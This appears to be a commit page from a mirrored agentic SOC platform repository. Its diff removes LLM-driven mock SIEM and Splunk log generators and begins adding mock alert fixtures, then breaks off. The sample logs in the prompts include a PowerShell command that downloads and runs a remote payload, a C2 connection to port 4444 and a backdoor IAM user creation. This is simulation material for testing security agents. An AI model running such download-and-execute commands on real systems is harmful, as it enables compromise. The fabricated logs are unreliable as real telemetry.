External/agentic-soc-platform
1
0
Fork 0
mirror of https://github.com/FunnyWolf/agentic-soc-platform.git synced 2026-08-22 13:12:56 +02:00
Code Issues Packages Projects Releases Wiki Activity

update SIEM agent

Browse Source
This commit is contained in:
rootkit
2026-02-09 22:52:03 +08:00
parent 3415cdd173
commit a255b01449
13 changed files with 1400 additions and 2241 deletions
Download Patch File Download Diff File Expand all files Collapse all files
AGENTS/agent_cmdb.py
+1 -1
View File
@@ -14,7 +14,7 @@ from Lib.configs import DATA_DIR
from Lib.llmapi import load_system_prompt_template
from PLUGINS.LLM.llmapi import LLMAPI
# Modify the following functions to the actual CMDB API
from PLUGINS.Mock.CMDB import get_ci_context_tool, fuzzy_search_ci_tool, get_cis_by_software_tool, get_cis_by_port_tool, get_cis_by_service_tool, \
from PLUGINS.Mock.CMDB.CMDB import get_ci_context_tool, fuzzy_search_ci_tool, get_cis_by_software_tool, get_cis_by_port_tool, get_cis_by_service_tool, \
get_cis_by_user_tool
AGENT_NODE = "AGENT_NODE"
PLUGINS/Mock/CMDB.py → PLUGINS/Mock/CMDB/CMDB.py
View File
PLUGINS/Mock/CMDB/__init__.py
View File
PLUGINS/Mock/SIEM.py
-297
View File
@@ -1,297 +0,0 @@
import json
import re
from typing import List, Dict, Any
from langchain_core.messages import SystemMessage, HumanMessage
from PLUGINS.LLM.llmapi import LLMAPI
class SIEMMock:
"""
基于 LLM 的动态 SIEM 日志生成器.
逻辑：
1. 接收自然语言查询.
2. 指导 LLM 根据查询和预设的失陷指标(IOCs)生成相应的JSON字符串.
3. 解析 LLM 返回的 JSON 字符串,并将其作为工具的输出.
"""
# ==========================================
# 1. 核心控制配置：失陷指标列表 (IOCs)
# 调整这里的内容,即可改变生成的日志方向
# ==========================================
COMPROMISED_IOCS = {
"internal_ips": ["10.67.3.130", "10.10.10.5"], # 受害者主机
"attacker_ips": ["192.168.1.100", "45.33.22.11"], # 攻击源 (内网跳板或外网C2)
"malicious_users": ["admin", "root", "deploy"], # 被利用的账号
"malicious_files": ["cmd.exe", "powershell.exe", "wget", "nc.exe"],
"hashes": ["a1b2c3d4e5f6...", "deadbeef..."]
}
# 内嵌的 System Prompt
LOG_GEN_SYSTEM_PROMPT = """
# ROLE: You are a Cyber-Attack Scenario Simulator and SIEM Log Artisan. Your output is read by a program, not a human.
# PRIMARY DIRECTIVE
Generate a hyper-realistic series of 3-5 structured JSON security logs. These logs must narrate a coherent story based on a user's query and the "Ground Truth" IOCs. Consult the `LOG TYPE EXAMPLES` section as a baseline for expected fields, but do not be limited by them.
# GROUND TRUTH (Known Malicious Entities)
This is the absolute truth for your simulation. Any query involving these entities is part of a real attack.
{ioc_json}
# CHAIN OF THOUGHT (Your Internal Process)
1. **Deconstruct Query**: Analyze the user's query (`User Query: ...`).
2. **Correlate with Ground Truth**: Does the query relate to any "GROUND TRUTH" entities?
3. **Embody Persona & Define Schema**: Choose a persona from the EXAMPLES or invent a new one if the query requires it (e.g., 'UEBA', 'DLP', 'Kubernetes Audit'). Based on this persona, determine the appropriate, detailed log schema. The examples are a guide, not a restriction.
4. **Generate Log Series**: Create 3-5 log entries that narrate the scenario, using the schema you defined. Adhere to all `LOG REALISM PRINCIPLES`.
# LOG REALISM PRINCIPLES
1. **Temporal Progression**: Timestamps (`_time`) must be chronological and close together.
2. **Consistent Persona**: Use a consistent `hostname` and `log_source` for a given event series.
3. **Field Correlation**: `raw_log` must plausibly represent the structured data. `event_description` must be a human-readable summary.
4. **Plausible Details**: Use fields appropriate for the persona. An EDR log has process info; a firewall log has port/protocol info. Use `null` for inapplicable fields.
5. **Field Richness**: Each generated log event **MUST** contain at least 15 distinct fields to be considered realistic. Populate them with plausible data. If a standard field isn't relevant, invent a custom, persona-specific one (e.g., `x_forwarded_for` for a proxy log, `pod_name` for a K8s log).
# LOG TYPE EXAMPLES & PERSONAS
---
### 1. EDR Log (CrowdStrike/SentinelOne Persona)
- **Use Case**: Tracks process executions, file modifications, and OS-level activity on endpoints.
- **Typical Fields**: `_time`, `hostname`, `log_source`, `event_description`, `process_guid`, `process_path`, `process_commandline`, `parent_process_guid`, `parent_process_commandline`, `sha256`, `username`, `tactic`, `technique`.
```json
{{
"_time": "2025-12-01T14:30:10.554Z",
"hostname": "DESKTOP-VICTIM1",
"log_source": "CrowdStrike Falcon",
"event_description": "Suspicious PowerShell execution spawned from a Microsoft Office application.",
"process_guid": "{{d1e8-4a5f-9f43}}",
"process_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"process_commandline": "powershell.exe -nop -w hidden -c \\"IEX ((new-object net.webclient).downloadstring('http://45.33.22.11/payload.ps1'))\\"",
"parent_process_guid": "{{c0a2-1b6e-8d3a}}",
"parent_process_commandline": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE \\"C:\\Users\\victim\\Downloads\\Invoice.docx\\"",
"sha256": "a1b2c3d4e5f6...",
"username": "victim_user",
"tactic": "Execution",
"technique": "T1059.001"
}}
```
---
### 2. NDR/Firewall Log (Zeek/Palo Alto Persona)
- **Use Case**: Monitors network traffic, connections, and data transfer.
- **Typical Fields**: `_time`, `log_source`, `uid`, `id_orig_h` (src_ip), `id_orig_p` (src_port), `id_resp_h` (dest_ip), `id_resp_p` (dest_port), `proto`, `service`, `duration`, `orig_bytes`, `resp_bytes`, `conn_state`, `action`.
```json
{{
"_time": "2025-12-01T14:30:12.801Z",
"log_source": "Zeek",
"event_description": "C2 heartbeat connection over non-standard port.",
"uid": "C9a1b2c3d4e5f6a7b",
"id_orig_h": "10.67.3.130",
"id_orig_p": 51234,
"id_resp_h": "45.33.22.11",
"id_resp_p": 4444,
"proto": "tcp",
"service": null,
"duration": 2.3,
"orig_bytes": 78,
"resp_bytes": 128,
"conn_state": "SF",
"action": "allowed"
}}
```
---
### 3. Cloud Log (AWS CloudTrail Persona)
- **Use Case**: Audits API calls and user activity within a cloud environment.
- **Typical Fields**: `_time`, `log_source`, `eventVersion`, `userIdentity`, `eventTime`, `eventSource`, `eventName`, `awsRegion`, `sourceIPAddress`, `userAgent`, `requestParameters`, `responseElements`, `errorCode`.
```json
{{
"_time": "2025-12-01T09:15:00.000Z",
"log_source": "AWS-CloudTrail",
"event_description": "Suspicious IAM user creation from an unrecognized IP address.",
"eventVersion": "1.08",
"userIdentity": {{
"type": "IAMUser",
"principalId": "AIDACKCEVSQ6C2EXAMPLE",
"arn": "arn:aws:iam::123456789012:user/deploy",
"accountId": "123456789012",
"userName": "deploy"
}},
"eventTime": "2025-12-01T09:15:00Z",
"eventSource": "iam.amazonaws.com",
"eventName": "CreateUser",
"awsRegion": "us-east-1",
"sourceIPAddress": "192.168.1.100",
"userAgent": "aws-cli/2.0.0 Python/3.7.4",
"requestParameters": {{"userName": "backdoor_user"}},
"responseElements": {{"user": {{"userName": "backdoor_user"}}}},
"errorCode": null
}}
```
---
### 4. Email Security Log (Proofpoint/M365 Defender Persona)
- **Use Case**: Inspects email messages for phishing, malware, and spam.
- **Typical Fields**: `_time`, `log_source`, `event_description`, `sender_ip`, `from_address`, `recipient_address`, `subject`, `verdict`, `threat_type`, `attachment_count`, `attachment_hashes`.
```json
{{
"_time": "2025-12-01T11:05:19.000Z",
"log_source": "Proofpoint-TAP",
"event_description": "Inbound email blocked due to malicious attachment.",
"sender_ip": "203.0.113.54",
"from_address": "attacker@evil-domain.com",
"recipient_address": "victim@example-corp.com",
"subject": "Urgent: Payment Confirmation",
"verdict": "blocked",
"threat_type": "Malware",
"attachment_count": 1,
"attachment_hashes": ["deadbeef..."]
}}
```
---
# CRITICAL OUTPUT REQUIREMENTS
- Your entire response **MUST** be a single, raw JSON string representing a Python list of log objects.
- **DO NOT** include any introductory text, explanations, or markdown fences like ```json ... ```.
- The response must start with `[` and end with `]`. Any deviation will cause a system failure.
- If the query is ambiguous or there are no relevant logs, return an empty JSON list: `[]`.
"""
@staticmethod
def _extract_json_from_response(raw_text: str) -> List[Dict[str, Any]]:
"""
从LLM的原始输出中稳健地提取和解析JSON列表.
"""
# 1. 尝试直接解析整个文本
try:
# 假设日志是列表格式
loaded_json = json.loads(raw_text)
if isinstance(loaded_json, list):
return loaded_json
except json.JSONDecodeError:
pass # 如果失败,则继续尝试提取
# 2. 尝试从Markdown代码块中提取
match = re.search(r'```json\s*([\s\S]+?)\s*```', raw_text, re.DOTALL)
if match:
json_str = match.group(1).strip()
try:
loaded_json = json.loads(json_str)
if isinstance(loaded_json, list):
return loaded_json
except json.JSONDecodeError:
# 如果代码块内容也不是有效的JSON,则继续
pass
# 3. 尝试查找第一个 '[' 和最后一个 ']' 之间的内容
start_index = raw_text.find('[')
end_index = raw_text.rfind(']')
if start_index != -1 and end_index != -1 and start_index < end_index:
json_str = raw_text[start_index:end_index + 1]
try:
loaded_json = json.loads(json_str)
if isinstance(loaded_json, list):
return loaded_json
except json.JSONDecodeError:
# 如果这部分内容也不是有效的JSON,则准备抛出最终错误
pass
# 4. 如果所有尝试都失败,则抛出异常
raise json.JSONDecodeError("Failed to find any valid JSON list in the LLM output.", raw_text, 0)
@staticmethod
def search(natural_query: str) -> List[Dict[str, Any]]:
"""
Tool Function: Search SIEM logs using Natural Language.
Args:
natural_query: Description of what logs to find.
e.g., "Check FTP login attempts for 10.67.3.130"
"""
print(f"[🔮 SIEM Mock] Generating logs for query: '{natural_query}'")
# 1. 准备上下文和 Prompt
ioc_context = json.dumps(SIEMMock.COMPROMISED_IOCS, indent=2)
formatted_system_prompt = SIEMMock.LOG_GEN_SYSTEM_PROMPT.format(ioc_json=ioc_context)
# 2. 调用 LLM
response_content = ""
try:
llm_api = LLMAPI()
llm = llm_api.get_model(tag="cheap")
messages = [
SystemMessage(content=formatted_system_prompt),
HumanMessage(content=f"User Query: {natural_query}")
]
response = llm.invoke(messages)
response_content = response.content
# 3. 使用稳健的解析方法提取日志
logs = SIEMMock._extract_json_from_response(response_content)
print(f" [✅ SIEM Mock] Generated {len(logs)} logs.")
return logs
except (json.JSONDecodeError, ValueError) as e:
# 在错误详情中包含原始输出以便调试
raw_output = response_content if response_content else "Response content was empty."
if isinstance(e, json.JSONDecodeError):
# e.doc 包含传递给解码器的原始字符串
raw_output = e.doc
error_details = f"Model output could not be parsed as a valid JSON list. Raw output: {raw_output}"
print(f" [⚠️ Error] Mock generation failed: {error_details}")
return [
{
"_time": "N/A",
"event": "log_generation_error",
"details": error_details
}
]
except Exception as e:
print(f" [⚠️ Error] Mock generation failed with an unexpected error: {e}")
return [
{
"_time": "N/A",
"event": "log_generation_error",
"details": f"An unexpected error occurred: {e}"
}
]
# =============================================================================
# 导出给 Agent 绑定的工具函数
# =============================================================================
def siem_search_tool(natural_query: str) -> List[Dict]:
"""
Search security logs in the SIEM system.
Args:
natural_query: A natural language description of the logs you want to find.
Be specific about Time, IP, Protocol, and Action.
Example: 'Show me failed FTP login attempts for host 10.67.3.130 today'
Example: 'Any outbound connections from 10.1.1.1 to port 443?'
"""
# 代理到 Mock 类
return SIEMMock.search(natural_query)
# 测试代码
if __name__ == "__main__":
# 测试 1: 查询名单里的坏 IP -> 应该返回恶意日志
print("--- Test 1: Malicious Query ---")
logs_bad = siem_search_tool("查询主机 10.67.3.130 的 FTP 登录日志")
print(json.dumps(logs_bad, indent=2, ensure_ascii=False))
# 测试 2: 查询无关 IP -> 应该返回正常或空
print("\n--- Test 2: Benign Query ---")
logs_good = siem_search_tool("查询主机 8.8.8.8 的相关日志")
print(json.dumps(logs_good, indent=2, ensure_ascii=False))
# 测试 3: 查询名单里的恶意用户 -> 应该返回可疑进程活动
print("\n--- Test 3: Malicious User Process Query ---")
logs_proc = siem_search_tool("检查用户 'admin' 在主机 '10.10.10.5' 上有什么进程活动")
print(json.dumps(logs_proc, indent=2, ensure_ascii=False))
PLUGINS/Mock/SIEM_Splunk.py
-416
View File
@@ -1,416 +0,0 @@
import json
import re
from typing import List, Dict, Any, Annotated
from langchain_core.messages import SystemMessage, HumanMessage
# Assuming LLMAPI is correctly imported and configured for your environment
# from PLUGINS.LLM.llmapi import LLMAPI
# Temporarily mock LLMAPI if not directly available for testing the structure
try:
from PLUGINS.LLM.llmapi import LLMAPI
except ImportError:
print("Warning: Could not import PLUGINS.LLM.llmapi. Using a mock LLMAPI for development.")
class MockLLMResponse:
def __init__(self, content):
self.content = content
class MockLLM:
def invoke(self, messages):
# For testing, return a dummy JSON for known patterns or an empty list
last_human_message = messages[-1].content
if "index=windows" in last_human_message and "EventCode=4624" in last_human_message:
return MockLLMResponse(json.dumps([
{
"_time": "2025-12-01T10:00:01.000Z",
"index": "windows",
"sourcetype": "WinEventLog:Security",
"host": "DESKTOP-VICTIM1",
"source": "WinEventLog",
"EventCode": "4624",
"ComputerName": "DESKTOP-VICTIM1",
"SubjectUserName": "S-1-5-18",
"TargetUserName": "victim_user",
"ProcessName": "C:\\Windows\\System32\\lsass.exe",
"LogonType": "2",
"_raw": "EventCode=4624 ComputerName=DESKTOP-VICTIM1 SubjectUserName=S-1-5-18 TargetUserName=victim_user LogonType=2"
},
{
"_time": "2025-12-01T10:00:02.000Z",
"index": "windows",
"sourcetype": "WinEventLog:Security",
"host": "DESKTOP-VICTIM1",
"source": "WinEventLog",
"EventCode": "4688",
"ComputerName": "DESKTOP-VICTIM1",
"SubjectUserName": "victim_user",
"ProcessName": "C:\\Windows\\System32\\cmd.exe",
"ParentProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"CommandLine": "cmd.exe /c whoami",
"_raw": "EventCode=4688 ComputerName=DESKTOP-VICTIM1 SubjectUserName=victim_user ProcessName=cmd.exe CommandLine='cmd.exe /c whoami'"
}
]))
elif "index=pan_logs" in last_human_message and "dest_ip=\"45.33.22.11\"" in last_human_message:
return MockLLMResponse(json.dumps([
{
"_time": "2025-12-01T14:30:12.801Z",
"index": "pan_logs",
"sourcetype": "pan:traffic",
"host": "PaloAlto-FW01",
"source": "syslog",
"action": "allow",
"src_ip": "10.67.3.130",
"src_port": 51234,
"dest_ip": "45.33.22.11",
"dest_port": 4444,
"proto": "tcp",
"app": "unknown",
"rule": "OUTBOUND_C2_ALERT",
"log_source": "Palo Alto Networks",
"_raw": "action=allow src_ip=10.67.3.130 dest_ip=45.33.22.11 proto=tcp app=unknown rule=OUTBOUND_C2_ALERT"
}
]))
elif "admin" in last_human_message:
return MockLLMResponse(json.dumps([
{
"_time": "2025-12-01T11:00:00.000Z",
"index": "windows",
"sourcetype": "WinEventLog:Security",
"host": "SERVER-001",
"source": "WinEventLog",
"EventCode": "4624",
"TargetUserName": "admin",
"LogonType": "10",
"Status": "Success",
"src_ip": "192.168.1.100",
"_raw": "EventCode=4624 TargetUserName=admin LogonType=10 src_ip=192.168.1.100"
}
]))
return MockLLMResponse("[]")
class LLMAPI:
def get_model(self, tag="cheap"):
return MockLLM()
class SplunkMock:
"""
A dynamic Splunk log generator based on LLM.
Generates simulated Splunk log data based on SPL queries and preset Indicators of Compromise (IOCs).
"""
# ==========================================
# 1. Core control configuration: list of indicators of compromise (IOCs)
# ==========================================
COMPROMISED_IOCS = {
"internal_ips": ["10.67.3.130", "10.10.10.5"], # Victim hosts
"attacker_ips": ["192.168.1.100", "45.33.22.11"], # Attacker source (internal jump server or external C2)
"malicious_users": ["admin", "root", "deploy"], # Exploited accounts
"malicious_files": ["cmd.exe", "powershell.exe", "wget", "nc.exe"],
"hashes": ["a1b2c3d4e5f6...", "deadbeef..."]
}
# ==========================================
# 2. Splunk Data Models (Schemas)
# Define common indexes and their fields, sourcetypes, and example logs for LLM reference.
# ==========================================
SPLUNK_SCHEMAS = {
"windows": {
"description": "Windows Security Event Logs (Event Codes for login, process creation, etc.)",
"common_fields": [
"EventCode", "ComputerName", "SubjectUserName", "TargetUserName",
"ProcessName", "ParentProcessName", "CommandLine", "LogonType",
"AuthenticationPackage", "WorkstationName", "NewProcessId",
"Image", "Hashes", "Signature", "Status", "IpAddress", "Port"
],
"sourcetype": "WinEventLog:Security",
"example_log": {
"_time": "2025-12-01T10:00:00.000Z",
"index": "windows",
"sourcetype": "WinEventLog:Security",
"host": "DC01.corp.local",
"source": "WinEventLog",
"EventCode": "4624",
"ComputerName": "DESKTOP-VICTIM1",
"SubjectUserName": "S-1-5-18",
"TargetUserName": "victim_user",
"ProcessName": "C:\\Windows\\System32\\lsass.exe",
"LogonType": "2",
"AuthenticationPackage": "Negotiate",
"WorkstationName": "DESKTOP-VICTIM1",
"IpAddress": "192.168.1.50",
"_raw": "EventCode=4624 ComputerName=DESKTOP-VICTIM1 SubjectUserName=S-1-5-18 TargetUserName=victim_user LogonType=2 IpAddress=192.168.1.50 ..."
}
},
"pan_logs": {
"description": "Palo Alto Networks Firewall Traffic Logs, detailing network connections.",
"common_fields": [
"action", "src_ip", "src_port", "dest_ip", "dest_port", "proto",
"app", "rule", "bytes_in", "bytes_out", "elapsed_time",
"vsys", "zone_in", "zone_out", "category", "risk_level"
],
"sourcetype": "pan:traffic",
"example_log": {
"_time": "2025-12-01T10:05:15.000Z",
"index": "pan_logs",
"sourcetype": "pan:traffic",
"host": "FW-Corp-DMZ",
"source": "/var/log/pan_traffic.log",
"action": "allow",
"src_ip": "10.67.3.130",
"src_port": "51234",
"dest_ip": "45.33.22.11",
"dest_port": "4444",
"proto": "tcp",
"app": "unknown",
"rule": "OUTBOUND_C2_ALERT",
"bytes_in": 78,
"bytes_out": 128,
"_raw": "action=allow src_ip=10.67.3.130 src_port=51234 dest_ip=45.33.22.11 dest_port=4444 proto=tcp app=unknown rule=OUTBOUND_C2_ALERT ..."
}
},
"cloudtrail": {
"description": "AWS CloudTrail logs, auditing API calls and user activity in AWS.",
"common_fields": [
"eventSource", "eventName", "userIdentity.type", "userIdentity.userName",
"sourceIPAddress", "userAgent", "requestParameters", "responseElements",
"errorCode", "awsRegion", "eventVersion", "eventTime", "recipientAccountId"
],
"sourcetype": "aws:cloudtrail",
"example_log": {
"_time": "2025-12-01T09:15:00.000Z",
"index": "cloudtrail",
"sourcetype": "aws:cloudtrail",
"host": "cloudtrail.amazonaws.com",
"source": "cloudtrail",
"eventSource": "iam.amazonaws.com",
"eventName": "CreateUser",
"userIdentity": {"type": "IAMUser", "userName": "deploy"},
"sourceIPAddress": "192.168.1.100",
"awsRegion": "us-east-1",
"eventVersion": "1.08",
"eventTime": "2025-12-01T09:15:00Z",
"_raw": "{\"eventSource\":\"iam.amazonaws.com\", \"eventName\":\"CreateUser\", \"userIdentity\":{\"type\":\"IAMUser\",\"userName\":\"deploy\"}, \"sourceIPAddress\":\"192.168.1.100\", \"awsRegion\":\"us-east-1\", \"eventVersion\":\"1.08\", \"eventTime\":\"2025-12-01T09:15:00Z\"}"
}
},
"zeek": {
"description": "Zeek (Bro) network security monitor logs, detailing network connections and protocols.",
"common_fields": [
"uid", "id_orig_h", "id_orig_p", "id_resp_h", "id_resp_p", "proto",
"service", "duration", "orig_bytes", "resp_bytes", "conn_state", "action",
"tunnel_parents", "local_orig", "local_resp", "history"
],
"sourcetype": "zeek:conn",
"example_log": {
"_time": "2025-12-01T14:30:12.801Z",
"index": "zeek",
"sourcetype": "zeek:conn",
"host": "zeek-sensor-01",
"source": "/opt/zeek/logs/current/conn.log",
"uid": "C9a1b2c3d4e5f6a7b",
"id_orig_h": "10.67.3.130",
"id_orig_p": 51234,
"id_resp_h": "45.33.22.11",
"id_resp_p": 4444,
"proto": "tcp",
"service": "null",
"duration": 2.3,
"orig_bytes": 78,
"resp_bytes": 128,
"conn_state": "SF",
"action": "allowed",
"_raw": "uid=C9a1b2c3d4e5f6a7b id_orig_h=10.67.3.130 id_orig_p=51234 id_resp_h=45.33.22.11 id_resp_p=4444 proto=tcp ..."
}
}
}
# ==========================================
# 3. Embedded System Prompt
# ==========================================
LOG_GEN_SYSTEM_PROMPT = """
# ROLE: You are a Splunk Enterprise Security (ES) Simulator. Your output is read by a program, not a human.
# PRIMARY DIRECTIVE
Your goal is to act as a Splunk database. You will receive a Splunk Processing Language (SPL) query and must return a series of hyper-realistic Splunk log events in a structured JSON list. These events must logically match the SPL query and incorporate the "GROUND TRUTH" IOCs where relevant.
# GROUND TRUTH (Known Malicious Entities)
This is the absolute truth for your simulation. Any query involving these entities is part of a real attack.
{ioc_json}
# SPLUNK DATA MODELS (SCHEMA)
This is your knowledge base of the available Splunk indexes and sourcetypes. When a query uses an index, you MUST generate logs consistent with its schema and example_log if present.
{splunk_schema_json}
# CHAIN OF THOUGHT (Your Internal Process)
1. **Deconstruct SPL Query**: Analyze the user's SPL query (`User Query: ...`). Identify the target `index`, `sourcetype`, time constraints, keywords, and any filtering/aggregation commands.
2. **Correlate with Ground Truth**: Does the SPL query's filter (e.g., `dest_ip="45.33.22.11"`) match any "GROUND TRUTH" IOCs?
3. **Select Data Model**: Based on the `index` or `sourcetype` in the SPL, choose the corresponding schema from the `SPLUNK DATA MODELS`. If an `example_log` exists for the selected schema, use it as a strong reference.
4. **Generate Log Series**: Create 3-5 log entries that satisfy the SPL query. Adhere to all `LOG REALISM PRINCIPLES`. If the query implies malicious activity (by matching an IOC), the logs should narrate that activity. If not, generate plausible benign logs or an empty list if no results would be found.
# LOG REALISM PRINCIPLES
1. **Splunk Format**: Each log event MUST be a JSON object containing standard Splunk fields: `_time` (ISO-8601), `index`, `sourcetype`, `host`, `source`, and `_raw`.
2. **_raw Synchronization**: The `_raw` field MUST be a string that accurately represents the structured key-value pairs (including standard Splunk fields and data model specific fields) in the rest of the JSON object. Avoid JSON string in _raw unless the original log format is JSON. For most logs, it should be a key=value or space-separated string.
3. **Temporal Progression**: `_time` values must be chronological and close together, formatted as ISO-8601 strings (e.g., "2025-12-01T14:30:10.554Z").
4. **Field Richness**: Populate fields generously based on the selected `SPLUNK DATA MODELS`. A firewall log must have IPs/ports; a windows log must have EventCodes/ProcessNames.
# CRITICAL OUTPUT REQUIREMENTS
- Your entire response **MUST** be a single, raw JSON string representing a Python list of log objects.
- **DO NOT** include any introductory text, explanations, or markdown fences like ```json ... ```.
- The response must start with `[` and end with `]`. Any deviation will cause a system failure.
- If the SPL query would legitimately return no results, return an empty JSON list: `[]`.
"""
@staticmethod
def _extract_json_from_response(raw_text: str) -> List[Dict[str, Any]]:
"""
Robustly extracts and parses a JSON list from the raw output of the LLM.
"""
# 1. Try to parse the entire text directly
try:
# Assume the log is in list format
loaded_json = json.loads(raw_text)
if isinstance(loaded_json, list):
return loaded_json
except json.JSONDecodeError:
pass # If it fails, continue to try to extract
# 2. Try to extract from the Markdown code block
match = re.search(r'```json\s*([\s\S]+?)\s*```', raw_text, re.DOTALL)
if match:
json_str = match.group(1).strip()
try:
loaded_json = json.loads(json_str)
if isinstance(loaded_json, list):
return loaded_json
except json.JSONDecodeError:
# If the content of the code block is not valid JSON, continue
pass
# 3. Try to find the content between the first '[' and the last ']'
start_index = raw_text.find('[')
end_index = raw_text.rfind(']')
if start_index != -1 and end_index != -1 and start_index < end_index:
json_str = raw_text[start_index:end_index + 1]
try:
loaded_json = json.loads(json_str)
if isinstance(loaded_json, list):
return loaded_json
except json.JSONDecodeError:
# If this part is not valid JSON, prepare to throw the final error
pass
# 4. If all attempts fail, throw an exception
raise json.JSONDecodeError("Failed to find any valid JSON list in the LLM output.", raw_text, 0)
@staticmethod
def search(spl_query: str) -> List[Dict[str, Any]]:
"""
Tool Function: Search simulated Splunk logs using an SPL query.
Args:
spl_query: A Splunk Processing Language (SPL) query string.
e.g., 'index=windows EventCode=4624 earliest=-1d'
e.g., 'index=pan_logs dest_ip="45.33.22.11" | stats count by src_ip'
"""
print(f"[🔮 Splunk Mock] Generating logs for SPL query: '{spl_query}'")
if spl_query is None or spl_query.strip() == "":
print(" [⚠️ Warning] Empty SPL query provided. Returning no logs.")
return []
# 1. Prepare context and Prompt
ioc_context = json.dumps(SplunkMock.COMPROMISED_IOCS, indent=2)
splunk_schema_context = json.dumps(SplunkMock.SPLUNK_SCHEMAS, indent=2)
formatted_system_prompt = SplunkMock.LOG_GEN_SYSTEM_PROMPT.format(
ioc_json=ioc_context,
splunk_schema_json=splunk_schema_context
)
# 2. Call LLM
response_content = ""
try:
llm_api = LLMAPI()
llm = llm_api.get_model(tag="cheap") # You might want a "smart" model for SPL parsing
messages = [
SystemMessage(content=formatted_system_prompt),
HumanMessage(content=f"User SPL Query: {spl_query}")
]
response = llm.invoke(messages)
response_content = response.content
# 3. Use a robust parsing method to extract logs
logs = SplunkMock._extract_json_from_response(response_content)
print(f" [✅ Splunk Mock] Generated {len(logs)} logs.")
return logs
except (json.JSONDecodeError, ValueError) as e:
# Include the original output in the error details for debugging
raw_output = response_content if response_content else "Response content was empty."
if isinstance(e, json.JSONDecodeError):
# e.doc contains the original string passed to the decoder
raw_output = e.doc
error_details = f"Model output could not be parsed as a valid JSON list. Raw output: {raw_output}"
print(f" [⚠️ Error] Splunk Mock generation failed: {error_details}")
return [
{
"_time": "N/A",
"event": "splunk_log_generation_error",
"details": error_details,
"spl_query": spl_query
}
]
except Exception as e:
print(f" [⚠️ Error] Splunk Mock generation failed with an unexpected error: {e}")
return [
{
"_time": "N/A",
"event": "splunk_log_generation_error",
"details": f"An unexpected error occurred: {e}",
"spl_query": spl_query
}
]
# =============================================================================
# Export tool functions for Agent binding
# =============================================================================
def splunk_search_tool(
spl_query: Annotated[
str, """A Splunk Processing Language (SPL) query string. The query should be specific and well-formed. Example: 'index=pan_logs dest_ip="45.33.22.11" earliest=-1h' Example: 'index=windows EventCode=4688 "powershell.exe" | top limit=10 CommandLine'"""] = None,
) -> List[Dict]:
"""
Executes a search query against the simulated Splunk SIEM to find security logs.
"""
# Proxy to Mock class
return SplunkMock.search(spl_query)
# =============================================================================
# Test code
# =============================================================================
if __name__ == "__main__":
print("--- Test 1: Malicious Windows Login (IOC Match) ---")
spl_query_win_bad_user = 'index=windows EventCode=4624 TargetUserName="admin" earliest=-1d'
logs_win_bad = splunk_search_tool(spl_query_win_bad_user)
print(json.dumps(logs_win_bad, indent=2, ensure_ascii=False))
print("\n--- Test 2: Malicious Outbound Connection (IOC Match) ---")
spl_query_pan_c2 = 'index=pan_logs dest_ip="45.33.22.11" earliest=-1h'
logs_pan_c2 = splunk_search_tool(spl_query_pan_c2)
print(json.dumps(logs_pan_c2, indent=2, ensure_ascii=False))
print("\n--- Test 3: Benign Windows Process Creation (No IOC Match) ---")
spl_query_win_benign = 'index=windows EventCode=4688 ProcessName="explorer.exe" earliest=-1d'
logs_win_benign = splunk_search_tool(spl_query_win_benign)
print(json.dumps(logs_win_benign, indent=2, ensure_ascii=False))
print("\n--- Test 4: Query for a non-existent index (Should return empty or error) ---")
spl_query_non_existent = 'index=nonexistent_logs some_field="value"'
logs_non_existent = splunk_search_tool(spl_query_non_existent)
print(json.dumps(logs_non_existent, indent=2, ensure_ascii=False))
PLUGINS/Mock/SIRP/mock_alert.py
+774
View File
@@ -0,0 +1,774 @@
import json
from PLUGINS.Mock.SIRP.mock_api import past_10m, past_5m, now, past_1d_18h, past_2d_6h, past_3d_12h, past_4d_20h, past_5d_8h, past_6d_15h, past_7d, past_1h, \
past_30m, past_2h
from PLUGINS.Mock.SIRP.mock_artifact import artifact_evil_email, artifact_fake_url, artifact_malware_file, artifact_malware_hash, artifact_psexesvc, \
artifact_dc01, artifact_lsass, artifact_mimikatz, artifact_internal_ip, artifact_c2_domain, artifact_dns_port, artifact_google_dns, artifact_sql_server, \
artifact_ransomware_ip_2, artifact_powershell_script, artifact_malware_registry, artifact_user_account, artifact_suspicious_domain_3, artifact_aws_role, \
artifact_cloudtrail_event, artifact_brute_force_ip, artifact_target_user_brute, artifact_target_host_brute, artifact_malicious_url_sqli, \
artifact_sqlmap_tool, artifact_waf_server, artifact_vssadmin_process, artifact_decryptor_malware, artifact_ransom_note_file, artifact_encrypted_files, \
artifact_ransomware_host, artifact_ransomware_user
from PLUGINS.Mock.SIRP.mock_enrichment import enrichment_virustotal, enrichment_otx_evil_domain, enrichment_greynoise_scanner, enrichment_carbonblack_execution, \
enrichment_splunk_anomaly, enrichment_darktrace_ai, enrichment_proofpoint_sandbox, enrichment_sentinel_threat, enrichment_aws_s3_public, \
enrichment_geoip_russia, enrichment_urlhaus_malware
from PLUGINS.SIRP.sirpmodel import AlertModel, Severity, ImpactLevel, Disposition, AlertAction, Confidence, AlertAnalyticType, AlertAnalyticState, \
ProductCategory, AlertRiskLevel, AlertStatus, AlertPolicyType
alert_user_reported_phishing = AlertModel(
title="User Reported Phishing Email via Outlook Plugin",
severity=Severity.MEDIUM,
impact=ImpactLevel.MEDIUM,
disposition=Disposition.ALLOWED,
action=AlertAction.OBSERVED,
confidence=Confidence.HIGH,
uid="ALERT-USER-001",
labels=["user-reported", "phishing"],
desc="User 'john.doe' reported a suspicious email with subject 'Urgent Payroll Update'.",
first_seen_time=past_10m,
last_seen_time=past_10m,
rule_id="USER-REPORT-01",
rule_name="User Reported Phishing",
correlation_uid="CORR-PHISH-XYZ-123",
count=1,
src_url="https://exchange.example.com/messages/msg-id-12345",
source_uid="MSG-ID-12345",
data_sources=["MS Exchange", "Outlook Plugin"],
analytic_name="Phishing Report Plugin",
analytic_type=AlertAnalyticType.TAGGING,
analytic_state=AlertAnalyticState.ACTIVE,
analytic_desc="Identifies emails reported by users.",
tactic="Reconnaissance",
technique="T1598.003",
sub_technique="",
mitigation="User Training, Email Filtering",
product_category=ProductCategory.EMAIL,
product_vendor="Microsoft",
product_name="Outlook",
product_feature="Phishing Report Add-in",
policy_name="",
policy_type=None,
policy_desc="",
risk_level=AlertRiskLevel.MEDIUM,
risk_details="Potential for credential theft.",
status=AlertStatus.NEW,
status_detail="Awaiting analyst review.",
